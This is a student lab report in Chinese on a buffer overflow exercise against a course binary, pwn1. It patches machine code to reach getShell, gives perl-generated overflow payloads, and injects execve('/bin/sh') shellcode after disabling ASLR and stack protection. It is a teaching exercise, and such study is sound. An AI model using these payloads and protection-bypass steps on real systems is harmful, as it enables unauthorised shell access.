20232803 2023-2024-2 《网络攻防实践》实践九报告

news2024/9/20 16:43:44

目录

    • 1.实践内容
    • 2.实践过程
      • 2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
      • 2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
      • 2.3 注入一个自己制作的shellcode并运行这段shellcode
    • 3.学习中遇到的问题及解决
    • 4.实践总结

1.实践内容

  • 本次实践的对象是一个名为pwn1的linux可执行文件。

    • 该程序正常执行流程是:main调用foo函数, foo函数会简单回显任何用户输入的字符串。

    • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。


  • 实践内容如下:
  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

  • 实验要求:
  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击

2.实践过程

  • 参考Ubuntu系统修改用户名和主机名修改主机名
    在这里插入图片描述

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 在学习通中下载目标文件pwn1上传到Kali中,将其重命名为pwn20232803
    在这里插入图片描述

  • 切换到桌面目录下,输入命令objdump -d pwn20232803 | more对该文件进行反汇编
    在这里插入图片描述

  • 敲击回车键,查看更多内容,找到main函数
    在这里插入图片描述
    main函数中我们可以看到call 8048491,而地址8048491正对应foo函数,即main函数调用了foo函数。继续查看foo函数,可以发现该函数实现了回显用户输入的字符串的功能。
    实验要求我们手动更改文件,使得它直接跳转到getShell函数。因此,我们需要对这一条指令进行修改。在修改之前,我们先对这条指令进行分析。
    对于80484b5: e8 d7 ff ff ff

    • 80484b5表示该指令的地址
    • e8表示跳转
    • d7 ff ff ff表示偏移量,这个偏移量是下一条要执行的指令的地址与目的地址之间的距离,以补码的形式表示,并且采用大端模式(低位字节存入高地址)存储,这里表示-41
    • 下一条要执行的指令的地址为80484ba,因此,这条指令的含义是:执行地址为80484ba - 41 = 8048491的指令,8048491正好对应foo函数的起点

    经过上述分析,修改程序执行流程就变得容易了。
    getShell函数的首地址为804847d,那么偏移量为804847d - 80484ba = -61 = 0xffffffc3,采用大端模式存储,即为c3ffffff
    因此,将这条指令修改为80484b5: e8 c3 ff ff ff即可实现直接跳转到getShell函数

  • 输入命令sudo apt install xxd安装xxd
    在这里插入图片描述

  • 输入命令vim pwn20232803打开文件
    在这里插入图片描述

  • 文件内容如下,可以看到都是乱码
    在这里插入图片描述

  • 输入:%!xxd将文件转换成16进制显示
    在这里插入图片描述

  • 输入/e8 d7进行搜索,然后敲击回车键
    在这里插入图片描述

  • i键进入输入模式,将d7修改为c3
    在这里插入图片描述

  • ESC键,输入:%!xxd -r转回原格式,然后输入:wq保存并退出
    在这里插入图片描述

  • 再次输入objdump -d pwn20232803 | more查看反汇编代码
    在这里插入图片描述
    可以看到这里显示了call 8048474 <getShell>,说明计算是正确的,并且修改成功

  • 输入./pwn20232803运行文件
    在这里插入图片描述
    可以看到该文件成功调用getShell函数获取了Shell

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

  • 将刚才的pwn20232803文件重命名为pwn20232803-old,再上传一个pwn文件,重命名为pwn20232803

  • 再次输入objdump -d pwn20232803 | more查看反汇编得到的代码
    在这里插入图片描述
    可以看到,在foo函数中,调用了getsputs两个函数,如果输入的字符串长度超过了缓冲区容量,会发生缓冲区溢出的情况。
    foo函数共有0x38个字节作为存储空间,给输入的字符串分配了28字节(0x1c)的空间,我们要构造一个攻击输入字符串,使它能够将return的地址覆盖为getShell地址,从而通过调用getShell函数获取Shell

  • getShell的首地址为0x0804847d,该地址在指令中应该用\x7d\x84\x04\x08作为输入。由于我们通过键盘直接输入这种16进制数,所以采用以下命令将字符串输入并存储到文件中

perl -e 'print "wwwwwwwwwwjjjjjjjjjjllllllllllll\x7d\x84\x04\x08"' > input20232803
  • 输入命令xxd input20232803查看文件,确保字符串的最后4个字节为getShell函数的地址
    在这里插入图片描述
  • 输入命令(cat input20232803;cat) | ./pwn20232803input文件的内容作为pwn文件的输入,实施Bof攻击
    在这里插入图片描述
    提示拒绝访问
    • 修改pwn文件属性,勾选Allow this file to run as a program在这里插入图片描述
  • 再次运行命令(cat input20232803;cat) | ./pwn20232803,成功调用getShell获取Shell
    在这里插入图片描述
    BOF攻击成功!

2.3 注入一个自己制作的shellcode并运行这段shellcode

  • 进入以下网站下载execstack
http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
  • 输入命令sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb进行解压
    在这里插入图片描述
  • 输入命令sudo execstack -s ./pwn20232803将文件的堆栈设置为可执行状态
  • 输入命令sudo execstack -q ./pwn20232803检查是否设置成功
    在这里插入图片描述
  • 输入命令echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
  • 输入命令more /proc/sys/kernel/randomize_va_space检查是否关闭成功,输入0表示已关闭,输出1则为开启
    在这里插入图片描述
  • 构造攻击的方法有retaddr+nop+shellcodenop+shellcode+retaddr,我们选择前者,shellcode的内容如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
  • 使用以下命令构造shellcode的输入,其中\x1\x2\x3\x4将在后面替换为foo函数中retaddr的地址
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
  • 输入命令(cat input_shellcode; cat) | ./pwn20232803input_shellcode文件的内容作为pwn文件的输入
    在这里插入图片描述
  • 打开另一个终端,输入命令ps -ef | grep pwn20232803查看pwn20232803文件的进程以及进程号
    在这里插入图片描述
    从输出结果中可以看到,pwn20232803文件的进程号为73465
  • 在该终端中继续输入gdb pwn20232803进行调试,以获取foo函数中retaddr的地址

注:若没安装gdb,则需要先输入sudo apt install gdb进行安装
在这里插入图片描述

  • 输入命令attach 73465查看进程,73465为刚刚查看的进程号
  • 输入命令disassemble foofoo函数进行反汇编
    在这里插入图片描述
    可以看到,ret的地址为0x080484ae
  • 输入命令break *0x080484ae设置断点,然后输入c继续执行

注:这里输入c后,要在第一个终端里按一下回车键,才能中断于断点处,否则将一直保持continuing状态

在这里插入图片描述

  • 输入命令info r esp查看栈顶指针所在的位置
    在这里插入图片描述
    栈顶指针所在的位置为0xffffd39c
  • 再输入命令x/16x 0xffffd39c查看该位置存放的内容
    在这里插入图片描述
    其中,0x04030201即为返回地址的位置。因此,栈顶指针的地址 + 4即为shellcode的地址。
0xffffd39c + 4 = 0xffffd3a0
  • 将之前shellcode输入中的\x1\x2\x3\x4采用大端模式替换为\xa0\xd3\xff\xff
perl -e 'print "A" x 32;print "\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
  • 输入命令(cat input_shellcode; cat) | ./pwn20232803再次运行,成功获取Shell
    在这里插入图片描述
    攻击成功!

3.学习中遇到的问题及解决

  • 问题1:输入vim pwn20232803打开文件后,输入:%!xxd无法转换成16进制
    • 解决方案:原因是没有安装xdd,使用sudo apt install xdd进行安装
  • 问题2:在shellcode实验中,gdb调试时输入c后,一直保持在continuing的状态
    • 解决方案:在第一个终端中按回车键,gdb便能继续运行了

4.实践总结

这次实践分为三个部分:

  • 第一个实践让我深入了解了汇编指令和机器码的工作原理,使我能够准确地修改机器指令,改变程序的执行流程。
  • 在第二个实践中,通过利用缓冲区溢出漏洞,我学会了如何构造特定的输入字符串来覆盖函数的返回地址并触发目标函数,这个过程让我深刻理解了缓冲区溢出攻击的原理和危害。
  • 在第三个实践中,通过注入自己制作的Shellcode,可以执行特定的命令或程序。但要注意的是,系统一般有防御机制来阻止恶意代码的注入和执行,如地址随机化、栈保护等。在注入Shellcode之前,需要先绕过这些保护机制。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1679338.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数论专题练习

质数专题 我的思路就是一个素数筛&#xff0c;然后双指针 class Solution { public:int maximumPrimeDifference(vector<int>& nums) {unordered_map<int, int> mp;for (int i 2; i < 100; i) {if (mp[i] 0) {for (int j 2 * i; j < 100; j i) {mp[…

将PDF转换成电子杂志,轻松打造畅销内容!

在数字化时代&#xff0c;将PDF转换成电子杂志是一种非常受欢迎的内容创作方式。这种方式不仅可以提高内容的传播效果&#xff0c;还可以为创作者带来更多的收益。那么&#xff0c;如何轻松地将PDF转换成电子杂志&#xff0c;打造畅销内容呢&#xff1f; 市面上有许多可以将PDF…

vivo X100s发布,搭载最新天玑9300+平台

在沉寂了半年后&#xff0c;vivo终于发布了新的旗舰产品。相较于前代的X100&#xff0c;X100s作为小迭代也有不少让人眼前一亮的地方&#xff0c;下面就让我们一同来了解下吧。 外观方面&#xff0c;虽然vivo X100s相较于X100没有大改&#xff0c;但却十分具有质感。以“青云”…

Android 逆向

一、apk 查壳工具 ApkScan-PKID 相关APK文件可以在 豌豆荚 官网下载 ApkScan-PKID查壳工具 下载 - 简书 (jianshu.com) 二、脱壳工具&#xff1a;frida 1、Android端配置 frida-server&#xff1a; 该步骤需要使用到 adb&#xff0c;操作Android文件 Releases frida/frid…

机器学习中10种损失函数大梳理!建议收藏,你一定用得到

今儿想和大家聊聊关于损失函数方面的问题。 损失函数&#xff08;Loss Function&#xff09;是在机器学习和深度学习中用来衡量模型预测值与真实标签之间差异的函数。不同的任务和模型可能需要不同的损失函数。 今天就聊聊下面常见的损失函数&#xff0c;关于原理、使用场景&…

高效调度新篇章:详解DolphinScheduler 3.2.0生产级集群搭建

转载自tuoluzhe8521 导读&#xff1a;通过简化复杂的任务依赖关系&#xff0c; DolphinScheduler为数据工程师提供了强大的工作流程管理和调度能力。在3.2.0版本中&#xff0c;DolphinScheduler带来了一系列新功能和改进&#xff0c;使其在生产环境中的稳定性和可用性得到了显著…

Apache2.4和PHP8的量子纠缠

Apache不建议你用&#xff0c;PHP建议使用

更新Windows 11 后遇到的一些问题(更新中...)

目录 插入U盘后读取不到 在磁盘中新建文件夹需要管理员权限 导致不能安装一些软件 插入U盘后读取不到 解决方法&#xff1a;点击我的电脑或者是此电脑、选择管理、找到设备管理器、选择通用串行总线控制器、右键、选择启动。 第一步&#xff1a;点击我的电脑或者是此电脑、选…

Java类和对象(二)—— 封装,static 关键字与代码块

前言 在面向对象的编程语言中&#xff0c;有三大特性&#xff1a;封装、继承和多态~~ 今天我们就来学习封装的知识 封装 什么是封装 在现实生活中&#xff0c;我们经常使用手机来进行沟通与交流&#xff0c;实际上我们拿到的手机是被封装好的&#xff0c;精美的屏幕&a…

MYSQL和JAVA中将中文汉字按照拼音首字母排序

一、MYSQL将中文汉字按照拼音首字母排序 数据库使用的字符编码是utf8_general_ci&#xff0c;如下 ORDER BY CONVERT(表名.字段名 USING gbk) COLLATE gbk_chinese_ci ASC;若是表查询&#xff0c;CONVERT中可以不添加表名。 查询结果如下&#xff1a; 二、JAVA中将中文汉字…

自定义 Gradle 插件进行统一的静态代码分析

静态代码分析是一项了不起的技术, 它能让代码库更易于维护. 但是, 如果你在不同的版本库中拥有多个服务(可能由不同的团队开发), 如何才能让每个人都遵循既定的代码风格呢? 一个好办法是将所有规则封装在一个插件中, 该插件会在每个项目构建时自动执行所需的验证. 因此, 在本…

【2024系统架构设计】回顾历史,查缺补漏篇 ③

前言 hello,大家好: 💡💡💡 我们一起来备考软考高级系统架构设计师吧,本专栏提供综合知识、案例科目、论文(论点和部分示例范文)等内容,包括知识点总结和记忆小妙招哦。 🚀🚀🚀 可以减少资料查找和收集的时间,提高效率,我们一起集中精力学习干货吧! 💡…

Milvus的存储/计算分离

前言 根据数据面与控制面相隔离的原则&#xff0c;从可扩展性和灾难恢复来看&#xff0c;Milvus由4个相互独立的层组成 访问层 由一系列无状态的代理组成&#xff0c;访问层是系统和用户之间的第一层&#xff0c;它主要是验证客户端请求和规整返回的结果 代理是无状态的&am…

GPU学习记一下线程分组相关

在compute的时候&#xff0c;是要dispatch一个数量的代表分了多少块任务集&#xff0c;dispatch的块内部也是有一个数量的&#xff0c;那么这些值怎么取的呢 内部&#xff0c;N卡32 外面dispatch的数量就是all/32 然后细说这个值 这有一个叫core的东西&#xff0c;就是相当于th…

【opencv】答题卡判分实验

实验环境&#xff1a; anaconda、jupyter notebook 实验用的包&#xff1a;numpy、matplotlib、opencv 实验的目的还是以熟悉图像的透视变换、轮廓特征提取为主要目的 关于如何判断答题卡被选项&#xff1a;通过几个覆盖备选项的掩膜与原二值图像想与&#xff0c;最终整个图像…

Springboot+MybatisPlus如何实现带验证码的登录功能

实现带验证码的登录功能由两部分组成&#xff1a;&#xff1a;1、验证码的获取 2、登录&#xff08;进行用户名、密码和验证码的判断&#xff09; 获取验证码 获取验证码需要使用HuTool中的CaptchaUtil.createLineCaptcha()来定义验证码的长度、宽度、验证码位数以及干扰线…

性能测试工具—jmeter的基础使用

1.Jmeter三个重要组件 1.1线程组的介绍&#xff1a; 特点&#xff1a; 模拟用户&#xff0c;支持多用户操作多个线程组可以串行执行&#xff0c;也可以并行执行 线程组的分类&#xff1a; setup线程组&#xff1a;前置处理&#xff0c;初始化普通线程组&#xff1a;编写…

遥感数据集制作(Potsdam数据集为例):TIF图像转JPG,TIF标签转PNG,图像重叠裁剪

文章目录 TIF图像转JPGTIF标签转PNG图像重叠裁剪图像重命名数据集转COCO格式数据集转VOC格式 遥感图像不同于一般的自然图像&#xff0c;由于波段数量、图像位深度等原因&#xff0c;TIF图像数据不能使用简单的格式转换方法。本文以Potsdam数据集为例&#xff0c;制作能够直接用…

你了解 pom.xml 吗

你了解pomxml吗 springboot 是 java 利器&#xff0c;几乎每个写 java 的同学都会用&#xff0c;但是你了解 pom.xml 吗&#xff1f; 这篇干货查漏补缺。 首先我们创建个 springboot 项目 都选了默认设置&#xff1a; 我把这篇完整粘贴出来 pom.xml <?xml version&quo…

网络安全|隐藏IP地址的5种不同方法

隐藏计算机的IP地址在互联网在线活动种可以保护个人隐私&#xff0c;这是在线活动的一种常见做法&#xff0c;包括隐私问题、安全性和访问限制内容等场景。那么如何做到呢?有很5种方法分享。每种方法都有自己的优点和缺点。 1. 虚拟网络 当您连接到虚拟服务器时&#xff0c;您…